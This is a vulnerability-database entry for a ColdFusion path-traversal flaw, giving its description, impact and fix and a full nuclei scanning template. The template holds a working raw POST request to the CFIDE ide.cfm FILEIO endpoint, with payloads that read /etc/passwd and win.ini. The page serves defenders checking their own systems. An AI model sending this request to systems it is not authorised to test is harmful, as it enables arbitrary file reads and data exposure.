Browse / CVEs / CVE-2026-48313
CVE-2026-48313
ColdFusion - Path Traversal
ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read and limited write access. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.
Impact
Attackers can read sensitive files and write limited files outside intended directories, risking data exposure and modification.
Fix
Update to the latest version beyond 2025.9 or 2023.20.
How to confirm it
Send: POST /CFIDE/main/ide.cfm?ACTION=FILEIO
Positive when: contains "[fonts]" or "root:x:0:0:" AND status 200Run it with nuclei: nuclei -id CVE-2026-48313 -u <target>
The full check
id: CVE-2026-48313
info:
name: ColdFusion - Path Traversal
author: watchtowr,DhiyaneshDk
severity: high
description: |
ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read and limited write access. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.
impact: |
Attackers can read sensitive files and write limited files outside intended directories, risking data exposure and modification.
remediation: |
Update to the latest version beyond 2025.9 or 2023.20.
reference:
- https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza/
metadata:
verified: true
max-request: 2
fofa-query: app="Adobe-ColdFusion"
tags: cve,cve2026,lfi,adobe,coldfusion,vkev
http:
- raw:
- |
POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
2:{{len}}:{{path}}000004:READ
payloads:
path:
- 'C:\Windows\win.ini'
- '/etc/passwd'
len:
- '000018'
- '000011'
attack: pitchfork
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '[fonts]'
- 'root:x:0:0:'
condition: or
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from